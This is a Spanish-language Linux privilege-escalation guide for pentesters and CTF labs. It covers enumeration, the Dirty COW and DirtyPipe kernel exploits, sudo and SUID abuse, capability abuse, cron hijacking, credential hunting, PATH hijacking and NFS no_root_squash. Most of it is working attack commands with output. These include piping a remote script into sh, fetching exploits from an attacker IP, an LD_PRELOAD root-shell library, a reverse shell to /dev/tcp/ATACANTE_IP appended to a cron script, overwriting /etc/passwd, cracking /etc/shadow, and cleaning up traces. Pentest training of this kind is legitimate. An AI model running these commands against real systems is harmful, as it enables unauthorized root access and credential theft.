Guía técnica completa sobre técnicas de escalada de privilegios en sistemas Linux. Cada módulo incluye ejemplos guiados paso a paso, comandos reales y casos de uso en entornos de laboratorio.
¿Qué es Privilege Escalation?
La escalada de privilegios ocurre cuando un atacante con acceso limitado a un sistema consigue ampliar sus permisos, generalmente llegando a nivel root. Existen dos tipos principales:
Vectores de Ataque
Metodología General
El primer paso siempre es recopilar información. La enumeración exhaustiva determina qué técnicas son aplicables.
Información del Sistema
# Versión del SO y kernel uname -a cat /etc/os-release cat /etc/issue cat /proc/version Linux victim 5.4.0-42-generic #46-Ubuntu SMP x86_64 GNU/Linux # Arquitectura uname -m && arch
Usuarios y Grupos
# Usuario actual y grupos whoami && id www-data uid=33(www-data) gid=33(www-data) groups=33(www-data) # Todos los usuarios con shell válida cat /etc/passwd | grep -E '/bin/(bash|sh|zsh|fish)' # ¿Tenemos acceso a /etc/shadow? ls -la /etc/shadow
Procesos y Servicios
# Procesos ejecutados como root ps aux | grep root # Puertos en escucha locales ss -tulpn netstat -tulpn 2>/dev/null # Servicios activos systemctl list-units --type=service --state=running
LinPEAS — Enumeración Automática
# Descarga directa si hay internet curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh # Transferir desde máquina atacante # [Atacante]: python3 -m http.server 8080 # [Víctima]: wget http://<ATACANTE_IP>:8080/linpeas.sh -O /tmp/lp.sh chmod +x /tmp/lp.sh && /tmp/lp.sh 2>/dev/null | tee /tmp/lp_out.txt
Los exploits de kernel son los más potentes pero también los más inestables. Un exploit mal ejecutado puede crashear el sistema.
Identificar Versión Vulnerable
uname -r 3.13.0-24-generic # Buscar exploits desde máquina atacante: searchsploit linux kernel 3.13 searchsploit linux local privilege 3.13
Dirty COW (CVE-2016-5195)
Race condition en el mecanismo copy-on-write del kernel. Permite escribir en archivos de solo lectura mapeados en memoria.
uname -r 4.4.0-21-generic # Vulnerable ✓
wget https://raw.githubusercontent.com/firefart/dirtycow/master/dirty.c gcc -pthread dirty.c -o dirty -lcrypt ./dirty [password] /etc/passwd successfully backed up to /tmp/passwd.bak Complete line: firefart:fiKqmoqSwPpkE:0:0:pwned:/root:/bin/bash
su firefart root@victim:~# whoami → root # RESTAURAR el sistema (importante!) cp /tmp/passwd.bak /etc/passwd
DirtyPipe (CVE-2022-0847)
Permite sobreescribir archivos de solo lectura a través de pipe. Similar a Dirty COW pero más reciente y fiable.
# Verificar versión (5.8 <= kernel <= 5.16.11) uname -r 5.13.0-27-generic # Vulnerable ✓ wget https://haxx.in/files/dirtypipez.c gcc dirtypipez.c -o dirtypipez ./dirtypipez /usr/bin/su [+] hijacking suid binary.. [+] dropping suid shell.. [+] popping root shell.. root@victim:/# id → uid=0(root) # Limpiar rastros rm /tmp/sh
Una de las técnicas más comunes. Configuraciones erróneas de sudoers permiten ejecutar comandos como root o escapar a una shell privilegiada.
Listar Privilegios SUDO
sudo -l User www-data may run the following commands on victim: (ALL : ALL) NOPASSWD: /usr/bin/vim (root) NOPASSWD: /bin/nano /var/www/html/config.php (ALL) NOPASSWD: ALL
Ejemplos por Binario
sudo vim → root shell
sudo vim -c ':!/bin/bash' # O dentro de vim: :set shell=/bin/sh → :shell root@victim:~#
sudo find → root shell
sudo find . -exec /bin/bash \; -quit root@victim:~#
sudo python3 → root shell
sudo python3 -c 'import os; os.system("/bin/bash")' root@victim:~#
sudo nano → root shell
sudo nano /etc/passwd # Dentro de nano: Ctrl+R → Ctrl+X # Escribir: reset; bash 1>&0 2>&0 root@victim:~#
Sudo + env_keep LD_PRELOAD
#include <stdio.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash"); }
gcc -fPIC -shared -o /tmp/shell.so shell.c -nostartfiles sudo LD_PRELOAD=/tmp/shell.so apache2 root@victim:~#
Los binarios con SUID se ejecutan con los permisos del propietario (generalmente root) independientemente de quién los invoque.
Encontrar Binarios SUID
# Buscar todos los SUID del sistema find / -perm -4000 -type f 2>/dev/null /usr/bin/passwd /usr/bin/sudo /usr/local/bin/custom_backup ← sospechoso # SUID + SGID juntos find / -perm -6000 -type f 2>/dev/null # Más detallado con permisos find / -perm -u=s -type f 2>/dev/null -exec ls -la {} \;
Explotar SUID con GTFOBins
bash con SUID
ls -la /bin/bash -rwsr-xr-x 1 root root 1234567 /bin/bash bash -p bash-5.1# id → uid=1000(user) euid=0(root)
cp con SUID → sobreescribir /etc/passwd
# Generar hash de contraseña openssl passwd -1 -salt ghost password123 $1$ghost$xxxxxxxxxxxxxxxxxxxxxxxxxxx # Crear entrada maliciosa echo 'ghost:$1$ghost$HASH:0:0:root:/root:/bin/bash' >> /tmp/passwd cp /tmp/passwd /etc/passwd && su ghost root@victim:~#
find con SUID
find . -exec /bin/bash -p \; -quit bash-5.1# whoami → root
Analizar SUID Custom Binary
# Ver strings del binario para detectar llamadas strings /usr/local/bin/custom_backup tar -czf /backup/data.tar.gz /home ← sin ruta absoluta! # Analizar con strace strace /usr/local/bin/custom_backup 2>&1 | grep exec
Las capabilities dividen los privilegios de root en unidades más pequeñas. Un binario con cap_setuid puede ser tan peligroso como un SUID root.
Encontrar Capabilities
getcap -r / 2>/dev/null /usr/bin/python3.8 = cap_setuid+ep /usr/bin/perl = cap_setuid+ep /usr/bin/ruby2.7 = cap_setuid+ep /usr/bin/vim.basic = cap_setuid+ep
Explotar cap_setuid
# Python3 con cap_setuid python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' root@victim:~# # Perl con cap_setuid perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";' root@victim:~# # Ruby con cap_setuid ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"' root@victim:~#
Capabilities Peligrosas
| Capability | Descripción | Riesgo |
|---|---|---|
| cap_setuid | Cambiar UID a 0 (root) | CRÍTICO |
| cap_setgid | Cambiar GID a cualquier grupo | CRÍTICO |
| cap_sys_admin | Montar filesystems, ptrace | CRÍTICO |
| cap_dac_override | Ignorar permisos DAC | ALTO |
| cap_net_raw | Sniffing de red (tcpdump) | MEDIO |
| cap_chown | Cambiar propietario de archivos | ALTO |
| cap_sys_ptrace | Inyección en procesos | CRÍTICO |
Los cron jobs ejecutados como root con scripts modificables por usuarios no privilegiados son un vector muy común en CTFs.
Identificar Cron Jobs
# Crontab del sistema cat /etc/crontab * * * * * root /opt/scripts/backup.sh */5 * * * * root /usr/local/bin/cleanup.py # Directorios de cron ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ # Monitorizar en tiempo real (pspy) ./pspy64
Explotar Script con Permisos de Escritura
ls -la /opt/scripts/backup.sh -rwxrwxr-x 1 root www-data 142 /opt/scripts/backup.sh # www-data tiene permisos de escritura ✓
# Payload: reverse shell como root echo 'bash -i >& /dev/tcp/ATACANTE_IP/4444 0>&1' >> /opt/scripts/backup.sh # O añadir SUID a bash echo 'chmod u+s /bin/bash' >> /opt/scripts/backup.sh
nc -lvnp 4444 # Esperar al siguiente ciclo del cron... root@victim:/# id → uid=0(root)
Las contraseñas hardcodeadas, archivos de configuración expuestos y el historial de comandos son fuentes frecuentes de credenciales.
Historial de Comandos
cat ~/.bash_history mysql -u root -pP@ssw0rd123 database_name ssh admin@192.168.1.100 -p 2222 curl http://api.internal/token?key=s3cr3t_api_k3y # Otros archivos de historial cat ~/.zsh_history ~/.mysql_history ~/.psql_history 2>/dev/null
Archivos de Configuración
# Buscar contraseñas en archivos grep -r "password" /etc/ 2>/dev/null | grep -v "#" grep -r "passwd\|password\|pass\|pwd" /var/www/ 2>/dev/null # Archivos .env (muy comunes en apps web) find / -name ".env" -type f 2>/dev/null find / -name "config.php" -o -name "wp-config.php" 2>/dev/null # Claves SSH privadas find / -name "id_rsa" -o -name "id_dsa" 2>/dev/null
Crackear /etc/shadow
# Si tenemos acceso a /etc/shadow cat /etc/shadow root:$6$salt$hashhash...:18000:0:99999:7::: # Unshadow y crack con John unshadow /etc/passwd /etc/shadow > hashes.txt john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt # Con Hashcat (SHA-512 = modo 1800) hashcat -m 1800 hashes.txt rockyou.txt --force
Cuando un binario privilegiado llama a otro programa sin ruta absoluta, podemos manipular el PATH para que ejecute nuestro binario malicioso.
Identificar el Vector
# El binario SUID llama a 'service' sin ruta absoluta strings /usr/local/bin/suid_binary service apache2 start ← sin /usr/sbin/service! # Confirmar con strace strace /usr/local/bin/suid_binary 2>&1 | grep exec
echo '#!/bin/bash' > /tmp/service echo '/bin/bash -p' >> /tmp/service chmod +x /tmp/service
export PATH=/tmp:$PATH which service /tmp/service ← nuestro binario malicioso ✓
/usr/local/bin/suid_binary bash-5.1# id → euid=0(root)
Recursos NFS con no_root_squash permiten a usuarios root en máquinas cliente crear archivos SUID que se ejecutan como root en el servidor.
NFS no_root_squash
# En la máquina víctima cat /etc/exports /home/backup *(rw,sync,no_root_squash) ← peligroso! # Desde la máquina atacante showmount -e TARGET_IP Export list: /home/backup *
sudo mkdir /tmp/nfs_mount sudo mount -t nfs TARGET_IP:/home/backup /tmp/nfs_mount
cp /bin/bash /tmp/nfs_mount/rootbash chmod +xs /tmp/nfs_mount/rootbash
/home/backup/rootbash -p rootbash-5.1# whoami → root
El arsenal completo de un pentester para enumerar y explotar vectores de privilege escalation en Linux.
| Herramienta | Función | Tipo |
|---|---|---|
| LinPEAS | Enumeración automática completa del sistema | Enumeración |
| LinEnum | Script de enumeración alternativo y ligero | Enumeración |
| pspy | Monitorizar procesos sin permisos root en tiempo real | Monitoreo |
| GTFOBins | Referencia web para bypass con binarios UNIX | Referencia |
| linux-exploit-suggester | Sugerir exploits de kernel según versión | Exploits |
| searchsploit | Buscar exploits en la base de datos Exploit-DB | Exploits |
| John the Ripper | Crackear hashes de /etc/shadow | Cracking |
| Hashcat | Cracking de hashes acelerado por GPU | Cracking |
Lista de verificación completa para no olvidar ningún vector. Márcalos conforme los vayas comprobando.
Sistema y Kernel
- Verificar versión del kernel (uname -r)
- Buscar exploits de kernel conocidos (searchsploit, linux-exploit-suggester)
- Comprobar arquitectura del sistema
- Revisar /proc/version y /etc/os-release
Usuarios y Permisos
- sudo -l (listar privilegios sudo)
- Revisar /etc/sudoers y /etc/sudoers.d/
- Comprobar grupos del usuario (adm, docker, disk, lxd...)
- Verificar permisos de /etc/passwd y /etc/shadow
Binarios y Capabilities
- Buscar SUID/SGID (find / -perm -4000)
- Comprobar capabilities (getcap -r /)
- Analizar binarios SUID no estándar con strings/strace
- Verificar binarios writable por el usuario
Cron y Procesos
- Revisar /etc/crontab y /etc/cron.d/
- Ejecutar pspy para detectar cron ocultos
- Comprobar permisos de scripts ejecutados por cron
- Revisar systemd timers (systemctl list-timers)
Credenciales y Archivos
- Revisar ~/.bash_history y afines
- Buscar archivos .env, config.php, wp-config.php
- Buscar claves SSH privadas (id_rsa, *.pem)
- Grep de "password" en /var/www y /etc
Red y Servicios
- Revisar puertos en escucha localmente (ss -tulpn)
- Comprobar shares NFS (/etc/exports)
- Revisar servicios con versiones vulnerables
- Comprobar grupo docker (docker run -v /:/mnt)